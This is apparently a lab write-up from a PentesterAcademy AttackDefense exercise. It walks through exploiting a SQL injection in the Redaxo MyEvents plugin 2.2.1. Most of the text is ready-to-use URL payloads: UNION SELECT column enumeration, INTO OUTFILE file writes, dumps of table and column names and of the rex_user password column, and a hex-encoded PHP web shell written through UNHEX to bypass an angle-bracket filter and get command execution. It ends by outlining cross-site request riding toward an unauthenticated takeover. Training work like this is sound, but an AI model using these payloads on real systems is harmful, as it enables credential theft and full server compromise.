PentesterAcademy Weekend Lab Sprint - Escalating SQLi to an RCE in the Redaxo MyEvents Plugin Lab

Summary

The Redaxo MyEvents Plugin lab contained a vulnerable version of the MyEvents plugin in Redaxo. This allowed us to inject custom SQL statements. Using this, we could leverage a UNION SQL injection to write to an arbitrary file in the Apache document root. This allowed us to perform a database leak or even upload a webshell to the application and hence, obtain remote code execution.

Lab link (for you to try it out): https://attackdefense.com/challengedetails?cid=274

1. Enumerating the application

When we start up the lab, we are brought to a login page. In the lab details we were given credentials which we can use to authenticate with. The credentials were admin:password. Hence, we can proceed to login into the CMS

Logging in brings us to the Redaxo CMS dashboard, where we can perform a few actions.

Recall that in the lab detail, that the vulnerability exists in the MyEvents add-ons. We can enumerate the version of AddOns by going under Main menu > AddOns. Bringing us to this page:

If we look at the plugin list, we see that the myevents plugin 2.2.1 is installed. We can search for any exploits which are related to this plugin and version on Google. This brings us to an ExploitDB post located here https://www.exploit-db.com/exploits/44261. We note the following:

# Exploit Title: Redaxo CMS Addon MyEvents SQL Injection [ Backend ]
# Date: 01.03.2018
# Exploit Author: h0n1gsp3cht
# Vendor Homepage: http://www.github.com/wende60/myevents
# Version: 2.2.1 (Last Version)
# Tested on: LinuxMint
# More: Login Required
# GET

##############
Vuln Code [+] redaxo/src/addons/myevents/pages/event_add.php
##############

$myevents_id            =  strip_tags(rex_request('myevents_id', 'string'));

###############
POC
###############

http://127.0.0.1/redaxo/index.php?page=myevents/event_add&myevents_id=[SQL]

From the information detailed on the ExploitDB post, we note that there exists a SQL injection in the myevents_id parameter in the plugin. We can try confirming this by injecting a single quote (') in the myevents_id parameter.

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=' Remember to replace <your-lab-domain> with the name of your lab-domain!

We are shown an error page which confirms the existence of SQL injection in the MyEvents plugin!

2. Exploiting the SQL injection

What is SQL injection? SQL stands for Structured Query Language and is used for managing databases. A SQL injection is an injection of a SQL query into an application which allows us to perform unintended actions in the database. Typically, SQL injections are used to leak data from databases. Hence, they are usually considered to be of high impact.

Continuing from where we left off, we can see the query that is being performed on the error message!

We can see that our single quote (') we injected has been appended as the last character of the statement. So we can figure out that the query that is being executed is:

select * from `rex_myevents_dates` a left join `rex_myevents_content` b 
on a.id = b.event_id where a.id = [OUR PAYLOAD]

Since a SELECT statement is being performed, we can only inject UNION SELECT statements as other operations will cause an invalid query to be made. We can try injecting a UNION SELECT statement by accessing the following URL below.

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null

The following is the SQL query that we have executed

select * from `rex_myevents_dates` a left join `rex_myevents_content` b 
on a.id = b.event_id where a.id = 1 union select null

In the query above, we inject a 1 first, this will help us complete the first SELECT statement. After this, we append our UNION SELECT statement which appends whatever is selected to the first SELECT statement.

However, when we execute this, we obtain the following error

The error essentially tells us that the number of columns selected by the first SELECT statement does not match the number of columns selected by the UNION SELECT statement (we only selected 1 element, which is null, hence there is only 1 column in the UNION SELECT statement)

Obviously, we can continue adding nulls to our UNION SELECT statement to determine the number of columns required, however, this might take a long while.

We can instead use the ORDER BY method as well as Burp Intruder from BurpSuite to determine the number of elements required by the UNION SELECT statement to match the first SELECT statement.

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20order%20by%201

This executes to:

select * from `rex_myevents_dates` a left join `rex_myevents_content` b 
on a.id = b.event_id where a.id = 1 order by 1

The ORDER BY statement above searches for the 1st column of the data returned by our first SELECT statement we have executed and sorts it. If we use "ORDER BY 2" instead, then this searches for th2 2nd column of the data returned by our first SELECT statement.

That means we can use ORDER BY X, where we increment X by 1 every time, to see ho many columns there are in the first SELECT statement. If the first SELECT statement has 14 columns, and we perform ORDER BY 15, then we should get an error, since there is no 15th column returned by the first SELECT statement.

To do this automatically, we can set up BurpSuite proxy. Replay the above and capture the request before sending it to Intruder. We then go to the Intruder tab, and then go to Positions. We then click the "Clear $" button. After that, we highlight the "1" and click on the "Add $" button. Your intruder payload should look like the following

Under Payloads, change the Payload Type to Numbers, change From to 1, To to 100 and Step to 1, you should end up with the following next:

Then click Start Attack

Observer the intruder page, from the 15th request onwards, you should see a change in Response Status from 200 to 500 and Response Length from around 22500 to around 153800

A 500 Status corresponds to a Internal Server Error and would indicate that an error is executed when we perform the ORDER BY 15 statement. That means that our first SELECT statement should only have 14 columns.

Hence we require 14 nulls in our union select statement

[Note: instead of doing the above, we can instead increase the number manually (etc. order by 1, order by 2, order by 3, ...) ]

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,null

Visiting the page should not return any error, which indicates that the the columns from UNION SELECT statement indeed matches the columns in the first SELECT statement

We can try seeing if we reflect a string by doing

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,"abc"

If we append another UNION SELECT statement to append "def" to the Kategorie field

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,"abc"%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,"def"

Only the string containing "def" would be reflected in the Kategorie field.

This is not ideal to leak a database as only one element can be reflected at a single time.

3. Performing an Arbitrary File Write using SQL injection

We can try performing a file write by appending into outfile "<file-name>" onto our request.

Using a file write, we can output the entire contents of the SQL statement into a arbitrary file. However, in order to view it remotely, we must be able to write to the document root.

Luckily, the error page exposes a few helpful details we can use to determine the document root

We can try writing to /var/www/html/a.txt

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,"abc"%20into%20outfile%20"/var/www/html/a.txt"

We get the above error if we try to do so, this probably indicates that we do not have enough permissions to write to /var/www/html/a.txt.

From the error page, we know of the existence of /var/www/html/redaxo directory. We can try writing to the directory too.

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,"abc"%20into%20outfile%20"/var/www/html/redaxo/a.txt"

This time, we get a different error.

We can visit https://<your-lab-domain>/redaxo/a.txt to view if our file was successfully created!

That means that we can output the results of our SQL queries to this file.

[Note: The next few steps detail the methods required to perform a database leak, if you would like to skip to performing remote code execution, skip to 4. Escalating our arbitrary file write into an RCE ]

Hence we can dump all table names from information schema, which contains the metadata for the database.

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,table_name%20from%20information_schema.tables%20%20into%20outfile%20"/var/www/html/redaxo/b.txt"

We can see that there exists a rex_user column, which likely contains passwords we can dump.

Dump all column names under the rex_user table from information schema.

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,column_name%20from%20information_schema.columns%20where%20table_name=%22rex_user%22%20into%20outfile%20"/var/www/html/redaxo/d.txt"

We can see that from the rex_user table, there exists a 'password' column which we can dump passwords from.

And then dump all passwords from rex_user into a dumpfile

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,password%20from%20rex_user%20into%20outfile%20%22/var/www/html/redaxo/dump.txt%22

Hence, we can leak a database using SQL injection.

4. Escalating our arbitrary file write into an RCE

If we have an arbitrary file write on an Apache server, then if we can write a file with the PHP extension into the document root, then we can write a PHP web shell and interact with it with our browser, causing remote code execution which escalates our SQL injection from a high severity to a critical severity.

Before we can perform the remote code execution. We must first recognise something. If we try injecting "abc<aaaa>" into our SQL query and try causing an error by removing the character 'u' from outfile, for instance.

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,%22abc<aaaa>%22%20into%20otfile%20%22/var/www/html/redaxo/f.txt%22

We get:

The important thing here to note is NOT the error message, but the fact that when we inject <> into the query whatever that is between the < and > as well as <> is deleted. So instead of returning "abc<aaaa>" we get "abc".

This is important to note as we must be able to write <?php system($_GET["cmd"]); ?> into our arbitrary file in order to make it a PHP executable.

Hence, we must perform some sort of encoding and decoding to be able to bypass the <> filters.

We can use hex encoding to do so, so instead of writing

UNION SELECT NULL, NULL ... NULL, NULL, "<?php system($_GET["cmd"]); ?>" INTO OUTFILE ...

We can do:

UNION SELECT NULL, NULL ... NULL, NULL, UNHEX('3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e') INTO OUTFILE ...

This is because 3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e is the hexadecimal representation of <?php system($_GET["cmd"]); ?>.

This works because the filter first checks if there are angle brackets (<>) in the payload. However there will be none. When UNHEX('3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e') is called 3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e will then be decoded to <?php system($_GET["cmd"]); ?>, which will be written to our target file

Hence we can visit the following

Payload: https://<your-lab-domain>/redaxo/redaxo/index.php?page=myevents/event_add&myevents_id=1%20union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,UNHEX(%273c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e%27)%20into%20outfile%20%22/var/www/html/redaxo/rce.php%22

And when we execute a bash command via:

Payload: https://<your-lab-domain>/redaxo/rce.php?cmd=id

We get:

Review

We have leveraged an SQL injection to perform both 1) a database leak and 2) an RCE

Using the arbitrary file write, it is possible to exploit the application without admin credentials, but we require a user with admin privileges and the SameSite response header (a header which specifies whether user browsers to contain cookies when interacting with the target domain cross origin) to be set to 'None' OR there exists an XSS on a different application on the same domain.

To do this we can perform session riding. Since there is no CSRF token required when performing the SQL injection, we can get the user to click on the URL containing our malicious payload or even embed img or iframe elements onto an attacker hosted webpage which points to the URL containing the malicious payload, provided that SameSite response header is set to 'None'.

This writes a PHP web shell to our evil PHP file. Since no authentication is required to access the PHP web shell, an attacker can ultimately drop a web shell if he manages to get the user to visit the URL containing our malicious payload.

Alternatively, if there was an XSS on the same domain, then we can embed an img element or iframe element which points to the URL containing our malicious payload on the target domain instead, this allows us to bypass the SameSite=Strict response header in our application.

Unfortunately when we check the SameSite header of the lab

...
Link: <../assets/addons/be_style/fonts/fontawesome-webfont.woff2?v=4.7.0>; rel=preload; as=font; type="font/woff2"; nopush

Server: Apache/2.4.7 (Ubuntu)

Set-Cookie: PHPSESSID=neo7paa9tbc2jbndr44n95lrp2; path=/; HttpOnly; SameSite=Strict
...

Since, the SameSite header is set to 'Strict' and there is no other application hosted on the same domain which could have an XSS, I did not have the opportunity to test this out.

Key Takeaways

From this lab, we have learnt

  • enumerating applications, plugins, their associated version numbers and the corresponding exploits which may exist

  • manually exploiting a UNION SQL injection to perform a database leak

  • performing an arbitrary file write using an SQL injection

  • bypassing <> filters through the UNHEX() function in MySQL

  • turning our arbitrary file write into an remote code execution by writing a PHP file in document root.

  • discussed the possibility of chaining our vulnerabilities into an unauthenticated RCE using an XSS on the same domain or if the SameSite response header of the page was set to 'None'

Author: Haxatron

Twitter: @Haxatron1

Last updated